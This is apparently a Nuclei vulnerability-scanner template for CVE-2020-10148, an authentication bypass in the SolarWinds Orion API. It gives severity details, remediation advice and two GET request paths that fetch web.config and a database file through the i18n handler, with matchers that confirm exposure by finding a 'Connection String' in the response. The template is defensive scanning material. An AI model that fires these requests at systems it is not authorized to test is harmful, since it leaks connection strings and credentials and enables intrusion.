id: CVE-2020-10148

info:
  name: SolarWinds Orion API - Auth Bypass
  author: dwisiswant0
  severity: critical
  description: |
    SolarWinds Orion API is vulnerable to an authentication bypass vulnerability that could allow a remote attacker to execute API commands. This vulnerability could allow a remote attacker to bypass authentication and execute API commands which may result in a compromise of the SolarWinds instance. SolarWinds Orion Platform versions 2019.4 HF 5, 2020.2 with no hotfix installed, and 2020.2 HF 1 are affected.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the SolarWinds Orion system.
  remediation: |
    Apply the necessary patches or updates provided by SolarWinds to fix the authentication bypass vulnerability.
  reference:
    - https://kb.cert.org/vuls/id/843464
    - https://github.com/jaeles-project/jaeles-signatures/blob/master/cves/solarwinds-lfi-cve-2020-10148.yaml
    - https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965
    - https://twitter.com/0xsha/status/1343800953946787847
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10148
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10148
    cwe-id: CWE-287,CWE-288
    epss-score: 0.95117
    epss-percentile: 0.99854
    cpe: cpe:2.3:a:solarwinds:orion_platform:2019.4:hotfix5:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: solarwinds
    product: orion_platform
  tags: cve2020,cve,solarwinds,rce,auth-bypass,kev,vkev,vuln
variables:
  string: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/web.config.i18n.ashx?l={{string}}&v={{string}}"
      - "{{BaseURL}}/SWNetPerfMon.db.i18n.ashx?l={{string}}&v={{string}}"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SolarWinds.Orion.Core."
          - "Connection String"
        condition: or

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d958caa841687f8abfa2d654f8a442ce69e5cbe7a67b28d696f7625205eef6eb02206fcd1333d7f5013add8395099238d3f199c2e54f8d91baddb947fa24ba861e22:922c64590222798bb761d5b6d8e72950